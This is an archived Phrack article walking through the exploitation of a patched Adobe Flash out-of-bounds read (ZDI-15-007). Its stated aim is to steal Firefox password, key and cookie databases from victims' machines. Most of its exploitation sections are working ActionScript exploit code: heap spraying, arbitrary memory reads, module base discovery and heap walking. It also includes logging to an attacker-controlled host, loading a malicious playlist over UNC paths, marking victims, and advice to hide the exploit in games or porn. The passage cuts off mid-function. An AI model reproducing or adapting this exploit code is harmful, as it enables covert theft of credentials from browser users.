💾 Archived View for aphrack.org › issues › phrack69 › 13.gmi captured on 2022-03-01 at 15:59:10. Gemini links have been rewritten to link to archived content
⬅️ Previous capture (2021-12-03)
-=-=-=-=-=-=-
==Phrack Inc.== Volume 0x0f, Issue 0x45, Phile #0x0d of 0x10 |=-----------------------------------------------------------------------=| |=---------------=[ The Art of Exploitation ]=---------------=| |=-----------------------------------------------------------------------=| |=--------------=[ Obituary for an Adobe Flash Player bug ]=-------------=| |=-----------------------------------------------------------------------=| |=------------------------------=[ huku ]=-------------------------------=| |=------------------------=[ huku@grhack.net ]=--------------------------=| |=-----------------------------------------------------------------------=| --[ Table of contents 0 - Introduction 1 - Preparing a debugging environment 1.1 - Your first AS3 "Hello, World!" 1.2 - Printing output 2 - Useful ActionScript classes 2.1 - Marking owned clients 2.2 - Preventing the unresponsive script pop-up from showing up 3 - The bug 3.1 - Analysis 3.2 - Exploitation 3.2.1 - Assessment 3.2.2 - From relative to absolute information leak 3.2.3 - Discovering Flash Player base address 3.2.4 - Discovering the CRT heap address 3.2.5 - Walking CRT heap allocations 3.2.6 - Reading arbitrary files 3.2.7 - Overall exploit methodology 3.2.8 - Logz 4 - Conclusion 5 - Thanks 6 - References 7 - Codez --[ 0 - Introduction The 21st of January was a sad day. A beautiful vulnerability, ZDI-15-007 [01], was killed by a person using the alias "bilou". It was one of those days that some people had to fire up IDA Pro again and start reversing in search of new 0days. Yes, this article will deal with some Adobe Flash exploitation, as if the P0 circus was not enough already (to which the author regrets having taken part by posting comments a couple of times). Let's get this straight, Adobe Flash is indeed high in a security researcher's audit list, and there's a good reason for that, but all this defamation against Adobe's products, is, obviously well lead by other coorporate organizations whose products are not less vulnerable [04]. It's kinda funny how Firefox, for example, #2 in the list of top 50 products by total number of distinct vulnerabilities (according to [03]), denies to activate a vulnerable Adobe Flash plug-in, listed under #15. How wonderful would it be if Flash did the same? Imagine Flash, for example, denying to run on shitty browsers [02]. In a security circus where famous security researcher celebrities have chosen sides, we suggest that hackers benefit from both sides' idiocy. This article will deal with the aforementioned vulnerability. We will show how it can be leveraged to disclose, not only sensitive information from a sandboxed Adobe Flash process, but other sensitive information from the target's filesystem as well. More specifically, we will focus on how it's possible to steal the Firefox SQLite databases containing stored passwords, encryption keys and cookies from a victim's computer. These passwords, can then be used to access the target machine via other means thus allowing one to indirectly, escape the sandbox restrictions imposed by Adobe Flash on Firefox. Since our 0days have long stopped working, it's a good chance for us to share our experience with the community. This article is organised as follows. The first section deals with how a working/debugging environment for Flash development is set up. We believe that this will help the interesting reader get started with Adobe Flash exploitation and will aid him/her in discovering his/her own 0day vulnerabilities. The second section deals with certain problems that may arise during client side exploitation and presents simple ActionScript tricks that can be used to resolve them. Last but not least, the third section analyzes the actual vulnerability and the steps taken to achieve arbitrary file stealing by abusing a simple information/memory disclosure primitive. It should be noted that the code snippets and other information presented in the remainder of this article correspond to version 15.0.0.189 of the NPAPI release of Adobe Flash Player. The vulnerability is present in older versions as well, but the author was unable to find older IDA Pro databases in his hard drive :P --[ 1 - Preparing a debugging environment Before delving into the specifics of ZDI-15-007, let's have a look at preparing the minimal toolset for compiling, running and debugging ActionScript code. To avoid using complex commercial IDEs, we will limit ourselves to publicly available open source software instead, which is more than enough for building SWF objects. The development toolchain for ActionScript applications consists of the following components: * The FLEX SDK distributed by the Apache Foundation [05] or Adobe [06]. You should stick with the first. Just visit the Apache foundation homepage and download the automated installer. * The runtime targeting the Flash version of interest. Usually named "playerglobal.swc". This is automatically downloaded for you by the Flex SDK installer. You can always grab the latest version from [17]. * Your favorite console editor (vim, emacs, nano, whatever). I guess all Phrack readers know how to install stuff, so I'll leave this as an exercise to the reader :P As an alternative to the above, one may use Haxe [20]. Haxe allows a developer to write code using a strictly typed programming language and then compile it, or even cross-compile it, to a set of possible target runtimes. Adobe Flash is in the list of supported application runtimes. In this article, however, we will stick to the first of the two options, but Haxe is also worth exploring from an attacker's perspective. ----[ 1.1 - Your first AS3 "Hello, World!" Fire up your favorite text editor and create a file named "Test.as" with the following contents. Just like Java, AS3 source code files are named after the public class they declare. --- snip --- package { import flash.display.Sprite; public class Test extends Sprite { public function Test() { trace("Hello, world!\n"); } } } // vim: set syntax=cpp: --- snip --- Unless you have a vim syntax file for AS3, the last comment will put some color in your editor. The following is a typical Makefile used to build "Test.swf" from "Test.as". Before running `make', make sure you have set `SDK_PREFIX' to the directory where you have installed the Flex SDK. --- snip --- SDK_PREFIX=/var/flex MXMLC=$(SDK_PREFIX)/bin/mxmlc MXMLC_FLAGS=-compiler.optimize -warnings SRCS=Test.as BIN=Test.swf all: $(MXMLC) $(SRCS) $(MXMLC_FLAGS) -output $(BIN) .PHONY: clean clean: rm -fr $(BIN) --- snip --- Running `make' will generate the required SWF file. --- snip --- $ make ~/flex/bin/mxmlc Test.as -compiler.optimize -warnings -output Test.swf Loading configuration file ~/flex/frameworks/flex-config.xml Test.swf (581 bytes) --- snip --- ----[ 1.2 - Printing output Admittedly, the best way of debugging code is printing output (who needs `gdb' anyway?). The AS3 API provides a function named `trace()' which is used to produce debugging messages. However, the messages can only be viewed when a debugging version of Adobe Flash Player is used and the SWF is run from within Flash Builder Studio. This is bad news; no clients use a debugging version of Flash and I prefer spending 50$ for anything other than buying Flash Studio :) I can think of at least two cases where output messages can be useful: * During development; seeing what's wrong with your exploit is fastest way of resolving issues with your code and improving your exploit's reliability. * During production; watching clients being owned - priceless :) For the first case output messages can be printed directly in the users browser. For the second case, logs can be forwarded to a remote log server controlled by the attacker. `Console' class, implemented in file "Console.as" in the attached exploit, is capable of performing both. The boolean constants `LOCAL_DEBUG' and `REMOTE_DEBUG' control what kind of logging strategy is used: --- snip --- public class Console { // Print messages to a standard text field. private const LOCAL_DEBUG:Boolean = true; // Forward messages to remote host. Our tool, named `xmlsocketd.py', is // supposed to be waiting there for incoming connections. private const REMOTE_DEBUG:Boolean = true; private const REMOTE_HOST:String = "1.2.3.4"; private const REMOTE_PORT:int = 1234; ... } --- snip --- When `LOCAL_DEBUG' is set to `true', as shown above, a text field is created and logs are written in it. The text field is automatically resized and the output scrolls down just like your favorite terminal emulator. If `REMOTE_DEBUG' is true, an XML socket is used to forward messages to a remote machine. The attached exploit comes with a simple Python server that receives the messages and writes them in a SQLite database. A simple web interface can be used to view them. --[ 2 - Useful ActionScript classes Let's forget about the actual vulnerability for a moment and let's focus on various problems that may arise during the exploitation process. Each of the following sections deals with such a problem and presents a simple solution. ----[ 2.1 - Marking owned clients A first problem that may arise when writing AS3 exploits (in fact, during client side exploitation in general) is how already exploited clients are distinguished from clients on which the exploit failed and clients that are targeted for the first time. If for some reason the exploit fails on a client, maybe because the Flash Player plug-in crashed because of accessing an unmapped memory address for example, it's good not to run the exploit again next time the client in question refreshes the malicious web page. A means to achieving this kind of behavior is using some kind of persistent information on the client's side. The two most well known methods are the following: * Cookies. We all know and kinda love cookies. * JavaScript persistent storage APIs * HTML5 web storage [07] * WebSQL [08]. Nowadays considered obsolete, but some browsers still support it Even though the mechanisms above can indeed be used as a possible solution, they both come with their drawbacks. Cookies are not that reliable (e.g. private browsing, cookies being cleaned up when the browser exits), while a JavaScript based solution requires some form of communication between the JavaScript code and our Flash exploit. Even though this is possible [09], it kind of complicates things. A pure AS3 solution is preferred. For the sake of developing the attached Flash exploit, I decided to make use of ActionScript's `SharedObject' class [10]. This API allows for managing persistent storage on the clients side directly from the AVM engine and it's as simple as the equivalent JavaScript APIs. An additional benefit is that browsers usually don't clean the, so called, Flash cookies and thus marking a client this way may be better and more reliable. The logic is implemented in `Persistence.as' and consists of two simple methods, namely `is_marked()', for testing wether a client has been marked, and `mark()' that uses persistent storage to mark a victim. The code for `is_marked()' is shown below: --- snip --- public static function is_marked():Boolean { var ret:Boolean = true; var lso:SharedObject = SharedObject.getLocal(Persistence.ID); // If cookie not present, or more than the specified amount of time has // elapsed, the client is not considered marked. if(!("time" in lso.data) || (new Date()).time - lso.data["time"] >= Persistence.INTERVAL) ret = false; lso.close(); return ret; } --- snip --- The code checks if a cookie with a chosen name, `Persistence.ID', already exists in the victims computer. The cookie is supposed to hold the timestamp of the last exploit attempt. If more than `Persistence.INTERVAL' milliseconds have elapsed since that time, or if the cookie does not exist in the victim's computer, then the client is considered unmarked and the exploitation proceeds. Otherwise, the exploit exits immediately. Successful exploitation attempts result in the victim being marked, so that the malicious SWF is not activated again if the user refreshes the container HTML page. --- snip --- public static function mark():void { var lso:SharedObject = SharedObject.getLocal(Persistence.ID); lso.data["time"] = (new Date()).time; lso.flush(); lso.close(); } --- snip --- In the attached exploit a client is marked by installing a Flash cookie named "cookie". ----[ 2.2 - Preventing the unresponsive script pop-up from showing up As it wil become apparent later, successful exploitation of the analyzed vulnerability takes a certain amount of time. It's important, for example, that, until all the required files from the victim's computer have been uploaded to the attacker's server, the whole exploitation process is not interrupted. A common problem, that arises when exploiting "plugin-container.exe" processes, is the unresponsive script pop-up shown by Firefox (why this happens is out of the scope of this article). This section deals with the aforementioned problem and presents a simple solution, implemented in the attached exploit, for avoiding annoying browser pop-ups. Just like JavaScript, ActionScript has its own implementation of web workers, an abstraction over an operating system's threading mechanism. Using web workers allows for running several SWF files in parallel which, in turn, allows for executing the main exploitation logic in separate thread, thus not keeping the main plug-in thread busy. While the exploitation process is carried out in the background, the attacker can, for example, present a silly Flash game to the victim to buy some time. Embedding an exploit to your favorite porn movie is also a good idea :P The exploit's entry point, which for obvious purposes was named "Main", looks like the following: --- snip --- public class Main extends MovieClip { // Array of URIs to worker SWF files; add extra workers here. private const workers:Array = new Array("WorkerMain.swf"); public function Main() { this._mcv = new Vector.<MessageChannel>(); this._con = new Console(this); if(Persistence.is_marked() == false) // (1) { for each(var swf_url:String in this.workers) { this._con.msg("Will now load worker from " + swf_url); swf_url += "?rnd=" + getTimer().toString(16); var req:URLRequest = new URLRequest(swf_url); var ldr:URLLoader = new URLLoader(); ldr.dataFormat = URLLoaderDataFormat.BINARY; ldr.addEventListener(Event.COMPLETE, this._on_complete); ldr.load(req); } } else this._con.msg("Target is marked"); } } --- snip --- At (1), the `Persistence' class (presented in the previous section) is used to check if the client has already been successfully exploited from a previous run of the exploit. If not, or if this is a new client, the SWF files specified in the `workers[]' array are loaded one by one using URL requests (the "?rnd=" URL parameter is used for avoiding possible caching from the client's side, a common trick used by scripting languages). Method `_on_complete()' is executed for each worker successfully loaded from its corresponding URL. Eventually each worker starts running by calling the `start()' method. --- snip --- private function _on_complete(evt:Event):void { ... worker.start(); this._con.msg("New worker started"); } --- snip --- This function will also create a `MessageChannel' instance for each worker, so that asynchronous communication with the main thread is possible. In the attached exploit, the message channel is used by the workers to forward debugging messages to the main thread, who will, in turn, forward them to the output stream specified in "Console.as". The relevant code is not presented here, as this feature is just a minor, but useful, detail of the exploit. --[ 3. The bug ----[ 3.1 Analysis TL;DR, the vulnerability lies in method `getABRProfileInfoAtIndex()' of class `AVSegmentedSource'. Unfortunately, at the time of writing, the `AVSegmentedSource' API is still undocumented. Any information, that will be presented in the following sections, was recovered by reverse engineering the ActiveX and NPAPI versions of Adobe Flash. The bug was also present in the PPAPI version of Chrome (a.k.a. "pepperflash.dll"), but the author didn't have enough time to investigate further. `AVSegmentedSource' is the class responsible for HLS playback. According to Wikipedia [11]: HTTP Live Streaming (also known as HLS) is an HTTP-based media streaming communications protocol implemented by Apple Inc. as part of its QuickTime, Safari, OS X, and iOS software. It works by breaking the overall stream into a sequence of small HTTP-based file downloads, each download loading one short chunk of an overall potentially unbounded transport stream. As the stream is played, the client may select from a number of different alternate streams containing the same material encoded at a variety of data rates, allowing the streaming session to adapt to the available data rate. To start playback, a client has to load a, so called, HLS manifest, which is simply an .m3u or .m3u8 (unicode version of .m3u) playlist. Wikipedia [11] explains: At the start of the streaming session, it downloads an extended M3U playlist containing the metadata for the various sub-streams which are available. The following snippet shows how one can do that programmatically in AS3. --- snip --- var source:AVSegmentedSource = new AVSegmentedSource(); var stream:AVStream = new AVStream(source); ... stream.load("C:\\playlist.m3u8"); stream.play(); --- snip --- People familiar with ActionScript development should have already noticed that the path given as the first argument to `load()' is the filename of a local file residing in the user's filesystem (back when I was developing this exploit, `load()' failed when a URL was passed to it, maybe this problem has been fixed by now). This, however, kind of contradicts the sandbox model of Adobe Flash; Flash applications are not allowed to write or even read local files. So, how is a SWF movie supposed to load an HLS manifest, if it has to write it to the user's filesystem first? Unless `load()' supports URLs in recent versions of Flash Player, playback of HLS streams is not supported on platforms other than Microsoft Windows; on Windows systems, one can bypass this limitation by using UNC paths, either in the standard "\\server\path" format or using the WebDAV notation "\\server@port\path", which, unfortunately, is not supported on Windows versions greater than Microsoft Windows 7. An attacker can place an arbitrary M3U8 playlist on a SMB/SAMBA server under his or her control and have the target client load it as shown below: --- snip --- // Works on all Microsoft Windows versions. stream.load("\\\\1.2.3.4\\exploit\\playlist.m3u8"); stream.play(); // Works only on Microsoft Windows 7 and probably XP. stream.load("\\\\1.2.3.4@8080\\exploit\\playlist.m3u8"); stream.play(); --- snip --- As a side note, the author would like to stress the fact that this article will not deal with the server component of the attached exploit that serves the malicious M3U8 files. The interested reader is advised to have a look at "m3u8.php", "dumper.php" and the relevant code in "WorkerMain.as". These details have been intentional left out so that the reader's attention is not focused on simple technical issues like setting up Samba, Apache, DAV and so on. For more information have a look at "README.md" in the exploit's top-level directory. HLS is quite flexible. An M3U8 playlist may specify the same media source (e.g. your favorite porn video) in various encodings and various bitrates. This way clients can adapt based on availability of bandwidth or other resources. Additionally a media source is allowed to be broken in smaller pieces, called periods, so that clients can faster seek to the required time location. Since the author is not really a media guy, the information and terminology in the following paragraphs is presented ad referendum. Let's see an example M3U8 manifest taken from [16]: --- snip --- #EXTM3U #EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=150000,RESOLUTION=416x234, \ CODECS="avc1.42e00a,mp4a.40.2" http://example.com/low/index.m3u8 #EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=240000,RESOLUTION=416x234, \ CODECS="avc1.42e00a,mp4a.40.2" http://example.com/lo_mid/index.m3u8 #EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=440000,RESOLUTION=416x234, \ CODECS="avc1.42e00a,mp4a.40.2" http://example.com/hi_mid/index.m3u8 #EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=640000,RESOLUTION=640x360, \ CODECS="avc1.42e00a,mp4a.40.2" http://example.com/high/index.m3u8 #EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=64000,CODECS="mp4a.40.5" http://example.com/audio/index.m3u8 --- snip --- The manifest shown above defines 5, so called, bitrate profiles for the same media source. A client can choose any of these. For example, a low bandwidth client would pick the first entry and would proceed by loading the M3U8 manifest specified in the first "#EXT-X-STREAM-INF" entry. In turn, this manifest may look like the following: --- snip --- #EXTM3U #EXT-X-PLAYLIST-TYPE:EVENT #EXT-X-TARGETDURATION:10 #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10, fileSequence0.ts #EXTINF:10, fileSequence1.ts #EXTINF:10, fileSequence2.ts #EXTINF:10, fileSequence3.ts #EXTINF:10, fileSequence4.ts ... #EXTINF:10, fileSequence120.ts #EXTINF:10, fileSequence121.ts #EXT-X-ENDLIST --- snip --- The tag names starting with the hash character are not relevant right now. What is important is that the files named "fileSequenceXXX.ts" correspond to the media source's periods. Once loading of the HLS manifest is complete, the `AVSegmentedSource' instance may be used for querying information about the loaded manifest. One of the several methods exported by this class is `getABRProfileInfoAtIndex()'. The prototype of this API is shown below: --- snip --- getABRProfileInfoAtIndex(periodIndex:int, abrProfileIndex:int): AVABRProfileInfo --- snip --- The API requires two integers, the period index (the index of the media source piece) and the bitrate profile index. For example, to query the profile information for the period "fileSequenece1.ts" of the low bandwidth profile, one might do the following: --- snip --- source.getABRProfileInfoAtIndex(1, 0); --- snip --- The reader should have already guessed where the actual bug lies. The second argument passed to this API is not checked. The bug can be triggered by calling `getABRProfileInfoAtIndex()' as shown below: --- snip --- source.getABRProfileInfoAtIndex(0, 0xdeadbeef); --- snip --- Here's what's going on under the hood. The presented assembly snippet was taken from "NPSWF32_15_0_0_189.dll". --- snip --- ; This is `getABRProfileInfoAtIndex()' entry point sub_102354CC proc near ... xor ebx, ebx ... mov eax, [eax+40h] mov ecx, [ebp+arg_4] ; Profile index controlled by the attacker mov esi, [eax+ecx*4] ; Read pointer to AVABRProfileInfo (1) cmp esi, ebx jnz short loc_10235525 loc_10235525: ... push dword ptr [esi+8] ; Read 3 doublewords from `esi' (2) push dword ptr [esi+4] push dword ptr [esi] loc_1023553E: ... call sub_102347FC ; AVABRProfileInfo constructor loc_1023554D: pop edi pop ebx leave retn 8 ; Return AVABRProfileInfo sub_102354CC endp --- snip --- Argument `arg_4' is `abrProfileIndex' shown the API's definition and is fully controlled by the attacker. As it can be seen from the above assembly snippet, the integer passed to this method at (1) is not checked and it's used to access an array of pointers to `AVABRProfileInfo' instances each representing an available ABR profile specified in the loaded HLS manifest. A pointer is read from the memory address at "[EAX + abrProfileInfo * 4]" and stored in ESI. This pointer is then dereferenced 3 times at (2) to read three doublewords. All three of them are leaked back to the user as part of the returned `AVABRProfileInfo' instance. Accessing the leaked memory is just a matter of doing the following: --- snip --- // Our `Console' class defined in a previous section var con:Console = new Console(this); var info:AVABRProfileInfo = source.getABRProfileInfoAtIndex(0, 0xdeadbeef); // Print leaked values in hexadecimal format. con.msg(info.width.toString(16)); con.msg(info.height.toString(16)); con.msg(info.bitrate.toString(16)); --- snip --- ----[ 3.2 Exploitation ------[ 3.2.1 Assessment The following C++ pseudocode gives an oversimplified model for the aforementioned vulnerability. --- snip --- struct ABRProfileInfo { uint32_t width; uint32_t height; uint32_t bitrate; }; class AVSegmentedSource { private: struct ABRProfileInfo *profiles[]; ... public: struct ABRProfileInfo *getABRProfileInfoAtIndex(int, int); ... }; struct ABRProfileInfo *AVSegmentedSource::getABRProfileInfoAtIndex(int i, int j) { ... return this->profiles[j]; } AVSegmentedSource *source = new AVSegmentedSource(); AVABRProfileInfo *info; ... info = source->getABRProfileInfoAtIndex(i, j); printf("%x %x %x\n", info->width, info->height, info->bitrate); --- snip --- To successfully exploit this vulnerability an attacker will have to provide a number `j', the second argument to `getABRProfileInfoAtIndex(), such that `&profiles[j]' happens to fall on a mapped memory address, say 0x11111111, and the doubleword at this location holds a valid pointer to an `ABRProfileInfo' structure, say 0x22222222. If these conditions are met, the call to the vulnerable API will complete successfully and the attacker will be given back the three doublewords at 0x22222222 (member `width'), 0x22222222+4 (member `height') and 0x22222222+8 (member `bitrate') in the returned `ABRProfileInfo' structure. Assuming the attacker, somehow, controls the doubleword at 0x11111111, he or she can then leak three doublewords from an arbitrary memory address by first assigning the victim memory address at 0x11111111 and then triggering the vulnerability. The following figure shows the relationship between the various structures described so far. +------+ +--------------+ +---------+ | this |-------->| *profiles[0] |-------->| width | +------+ +--------------+ +---------+ | *profiles[1] |----+ | height | +--------------+ | +---------+ . . | | bitrate | . . | +---------+ . . | +--------------+ | +---------+ | *profiles[N] | .-------->| width | +--------------+ +---------+ | height | +---------+ | bitrate | +---------+ So far so good. However, assuming the attacker has no information regarding the virtual memory layout of the victim Flash process, there's no guarantee that for an arbitrary number `j', `&profiles[j]' will, in fact, be a mapped memory address. For the following we are going to make the assumption that the attacker has no information regarding the state of the Adobe Flash process and has no way of gaining insight about it. That is, we are going to assume that the presented vulnerability is the only vulnerability the attacker has knowledge about and thus no safe assumptions can be made about the value of `j'. ------[ 3.2.2 From relative to absolute information leak Ideally, one would attempt to place controlled data, a string for example, right next to the `profiles[]' array using well known and studied heap shaping techniques. Then, with a properly chosen value for `j', `&profiles[j]' would fall on the aformentioned controlled data region, resulting in total control on the address from where data will be leaked back to the attacker. This is definitely a good way to go, however the exploit attached in this article uses a different technique. Unfortunately, several years have passed since I discovered this vulnerability and I don't recall reason why I didn't follow this technique. IIRC `profiles[]' was not in the AVM managed heap and it was thus hard to control the heap contents right next to it. Hard, but not impossible I guess. Probably not the best strategy, but one that works, is to spray the heap with a few very large vectors of unsigned integers, hoping that a high memory address is reached and that this address holds user supplied data. The attached exploit allocates 64 such vectors, 0x01000000 bytes in size each, and the high address in question is assumed to be 0x0a000000, but that's an arbitrary choice, any high address properly chosen will do. It should be noted that the heap spray vectors should be filled with a doubleword value corresponding to the chosen high address, that is, in our case, we should set all elements of all vectors to 0x0a000000 for reasons that will become apparent later. Since a great deal of the memory space is filled with our vectors, supplying a quite large value for `j' has a good chance of making `&profiles[j]' to fall within one of the heap sprayed regions. The exploit will first attempt to leak a doubleword from `&profiles[0x01000000]'. A leaked value of 0x0a000000 is an indication that the heap spray has succeeded. --- snip --- private const VECNUM:uint = 64; private const VECSZ:uint = 0x01000000 / 4 - 2; ... private function _do_heap_spray():void { var v:Vector.<uint>; this._sv = new Vector.<*>(this.VECNUM); for(var i:uint = 0; i < this.VECNUM; i++) { v = new Vector.<uint>(this.VECSZ); for(var j:uint = 0; j < this.VECSZ; j++) v[j] = 0x0a000000; this._sv[i] = v; } } --- snip --- One might wonder why spraying the heap with just a few very large vectors may be better, as opposed to spraying with a large number of smaller vectors. Usually, we need to decrease the metadata to data ratio. The more vectors we instantiate the more metadata are allocated in the victim process' GC heap, the AVM managed heap. However, by allocating only a few very large vectors we can make sure heap space is mostly filled with user supplied unsigned integers and only a few bytes of metadata is used. The underlying C++ vector objects hold a pointer to a memory region that holds the actual data (for more information see [18]). This memory region has the following format. https://github.com/adobe-flash/avmplus/blob/master/core/avmplusList.h#L83 --- snip --- template<class STORAGE, uint32_t slop> struct ListData { uint32_t len; MMgc::GC* _gc; STORAGE entries[1]; }; --- snip --- While writing this article, the author came across the following GitHub repository, which was recently updated by Adobe! In this new version of "avmplus", the layout of the structure shown above has changed and XOR-based overflow protection has been added. https://github.com/adobe/avmplus/blob/master/core/avmplusList.h#L83 Now, let's assume that our heap spraying results in the partial memory layout depicted in the following figure. 0x0a000000 - X 0x01000000 0x22222222 0x0a000000 0x0a000000 ... 0x0a000000 0x0a000000 0x0a000000 0x0a000000 0x0a000000 0x0a000010 0x0a000000 0x0a000000 0x0a000000 0x0a000000 0x0a000020 0x0a000000 0x0a000000 0x0a000000 0x0a000000 0x0a000030 0x0a000000 0x0a000000 0x0a000000 0x0a000000 ... 0x0a000000 + Y 0x0a000000 0x0a000000 0x0a000000 0x0a000000 As it was previously mentioned, the exploit assumes that heap spraying results in address 0x0a000000, an otherwise randomly chosen high heap address, falling within the container memory region of one of the 64 large vectors. This is depicted in the above schematic where address 0x0a000000 contains 0x0a000000, the value assigned in all vectors' elements. Notice that, in this case, dereferencing memory address 0x0a000000 returns 0x0a000000, the memory address itself. Let's assume that, for a quite large value of `j', say `j = 0x01000000', `&profiles[j]' happens to fall at `0x0a000000 + Y', then `profiles[j] = 0x0a000000' and consequently three doublewords will be leaked from 0x0a000000. So far, so good. By repeatedly calling `getABRProfileInfoAtIndex()' with decreasing values of `j', `&profiles[j]' will eventually point to `0x0a000000 - X + 4', `profiles[j]' will be equal to `0x22222222' and three doublewords will be leaked from that address. However, recall that this is the address of a C++ object (`_gc' member in `ListData' shown above), and consequently the first leaked doubleword will hold the object's virtual function table address. Additionally, `&profiles[j + 1]' is the pointer to the first element of the same container memory region. Notice that we don't know, and we shouldn't care, which of the 64 vectors this container belongs to. We now have two assets at hand: * A virtual function table pointer which can be used to determine the Flash Player module base address. * An easy way of reading arbitrary memory addresses. For each vector `v' in the set of spray vectors, se set `v[0] = 0xdeadbeef' and call `getABRProfileInfoAtIndex()' passing the aforementioned `j + 1' value as the second argument. This will result in 3 doublewords being leaked from 0xdeadbeef. All this may be confusing even if you are the most experienced exploit writer in the world. Take your time and think about it. The following function in "WorkerMain.as" implements the logic described so far. When it completes, `this._idx' is the value of `j + 1', and `this._vtable_address' is the leaked address of the C++ object's virtual function table. --- snip --- private function _get_vtable_and_index():Boolean { var ret:Boolean = false; var pi:AVABRProfileInfo; var idx:uint = 0x01000000; // If the first attempt to leak data returns 0, then we have either // landed on an invalid heap address (i.e. not covered by any of the // large vectors), or we're running on a very old Flash Player that // doesn't support HLS streaming. pi = this._source.getABRProfileInfoAtIndex(0, idx); if(pi.bitsPerSecond != 0) { while(pi.bitsPerSecond == 0x0a000000) { idx -= 1; pi = this._source.getABRProfileInfoAtIndex(0, idx); } this._idx = idx + 1; this._vtable_address = pi.bitsPerSecond; ret = true; } return ret; } --- snip --- Reading a doubleword from an arbitrary address, it's then just a matter of calling the function below (also defined in "WorkerMain.as"). --- snip --- // Read a doubleword from the given memory address. private function _read_dword(addr:uint):uint { var pi:AVABRProfileInfo; var ret:uint; ... // (1) for(var i:uint = 0; i < this.VECNUM; i++) this._sv[i][0] = addr; // (2) pi = this._source.getABRProfileInfoAtIndex(0, this._idx); ... ret = pi.bitsPerSecond; return ret; } --- snip --- At (1) we iterate over the 64 heap spray vectors and set their first element to the address from where we want to read a doubleword. We then call the vulnerable API, at (2), with the appropriate second argument that results in some vector's first element being dereferenced as a memory address. The value in `pi.bitsPerSecond' returns the leaked value. Moving one level up in the abstraction layers, the following function, implemented on top of `_read_dword()' given above, can be used to read arbitrary amounts of data from a given memory address. Its usefulness will become apparent later, but you can pretty much guess. --- snip --- // Read an arbitrary amount of bytes starting from the given memory // address. Note that we can't read less than 4 bytes at a time, so, // less than `len' bytes may be returned. private function _read(addr:uint, len:uint):String { var dw:uint; var raw:String = ""; // Align at a multiple of 4 (_downwards_, _not_ upwards) and then // subtract the number of bytes dereferenced every time the bug is // triggered. We do that in an attempt to avoid hitting unmapped // memory regions. len = len & ~3; if(this._readahead > 0) len -= this._readahead; for(var i:uint = 0; i < (len & ~3); i += 4, addr += 4) { dw = this._read_dword(addr); raw += String.fromCharCode(dw & 0x000000ff) + String.fromCharCode((dw & 0x0000ff00) >>> 8) + String.fromCharCode((dw & 0x00ff0000) >>> 16) + String.fromCharCode((dw & 0xff000000) >>> 24); } return raw; } --- snip --- ------[ 3.2.3 Discovering Flash Player base address As it was mentioned in 3.2.2, method `_get_vtable_and_index()', among other things, returns the address of a virtual function table discovered during the early steps of the exploit. Computing the base address of the Adobe Flash Player plug-in is now a matter of aligning the virtual table address to the previous multiple of the page size, reading a doubleword from that location and checking if the "MZ" signature (0x5a4d) is there. If not, 0x1000 is subtracted from the address in question and the process is repeated. Method `_get_flash_address()' in "WorkerMain.as" implements the logic described in this paragraph. --- snip --- // Attempt to locate the Flash Player base address. private function _get_flash_address():void { var addr:uint = this._vtable_address & 0xfffff000; var dw:uint; dw = this._read_dword(addr); while((dw & 0x0000ffff) != 0x00005a4d) { addr -= 0x1000; dw = this._read_dword(addr); } this._flash_address = addr; } --- snip --- When `_get_flash_address()' completes, `this._flash_address' will hold the base address of the Adobe Flash Player plug-in. ------[ 3.2.4 Discovering the CRT heap address Being able to to read doublewords from arbitrary memory addresses, means one can easily locate the address of the Microsoft Windows heap used by the Adobe Flash plug-in process. The following assembly snippet can be found in `__heap_init()', a function found in most PE executables' early initialization code. --- snip --- call ds:HeapCreate mov __crtheap, eax --- snip --- The variable named `__crtheap' is a global holding a `HANDLE' to the CRT heap. However, heap `HANDLE' values are, in fact, heap base addresses. An attacker may exploit the information leak vulnerability to read the contents of this global variable and discover the sandboxed child's CRT heap base address. Taking into account the information presented in the previous sections, it's quite trivial to achieve this: * Set `v[0] = &__crtheap' for each heap spray vector `v'. * Trigger the vulnerability by calling `getABRProfileInfoAtIndex()'. The value of `&__crtheap' can easily be located by searching the Flash plug-in's text segment for the following byte pattern. The wildcards marked with "??" correspond to the address of `HeapCreate()'. The doubleword that follows this pattern is `&__crtheap'. 68 00 10 00 00 50 ff 15 ?? ?? ?? ?? a3 The following function, found in the exploit's "WorkerMain.as", is responsible for discovering the CRT heap address. It makes use of `this._read_dword()', the function that abstracts the vulnerability details away and allows the AS3 programmer to read data from arbitrary memory addresses. --- snip --- // Locate the address of `__crtheap', the variable that points to the // process' main heap, and dereference it to read the heap's address. private function _get_heap_address():void { var match:RegExp = /\x68\x00\x10\x00\x00\x50\xff\x15....\xa3/; var addr:uint = this._flash_address; var raw:String; var i:int; raw = this._read(addr, 0x1000) while((i = raw.search(match)) < 0) { addr += 0x1000; raw = this._read(addr, 0x1000) } addr += i + 13; addr = this._read_dword(addr); this._heap_address = this._read_dword(addr); this._parser = new CRTHeapParser(this._read_dword); } --- snip --- With this in hand, one may walk all heap allocations and read all data reachable in the heap at the time the exploit executes. Notice that, the GC heap, Adobe Flash's own heap allocator, acts on top of the Microsoft Windows CRT heap. ------[ 3.2.5 Walking CRT heap allocations Once the CRT heap address has been leaked, walking the whole heap is pretty straightforward. Luckily for an attacker, Chris Valasek and Tarjei Mandt have done a great work at documenting the Microsoft Windows heap internals ([13], [14], [15]). The Windows heap parsing logic is implemented in "CRTHeapParser.as" in class `CRTHeapParser'. The class is quite abstract, the reader can use it in any information leak vulnerability. It effectively implements the equivalent of `HeapWalk()' in AS3. The constructor expects a single argument, a function used to read a doubleword from an arbitrary memory address (see the definition of `_read_dword()' later in this section). --- snip --- this._parser = new CRTHeapParser(this._read_dword); --- snip --- Once a `CRTHeapParser' instance has been created, the heap can be walked using the method `walk()' as shown below: --- snip --- this._parser.walk(this._heap_address, this._get_username_cb); --- snip --- The first argument is the address of heap to walk (a Windows application may have more than one heap) while the second is a callback to call for each discovered heap allocation. The name of the shown callback function will be explained later. --- snip --- private function _get_username_cb(address:uint, size:uint):Boolean { ... } --- snip --- The callback receives two arguments. The address of a heap allocation and the allocation size. It's up to the callback implementer to read the contents of this heap allocation (using the information leak exploit) and discover its contents. --- snip --- // Read a doubleword from the given memory address. private function _read_dword(addr:uint):uint { var pi:AVABRProfileInfo; var ret:uint; // Check if the readahead crosses a page boundary. If yes, then 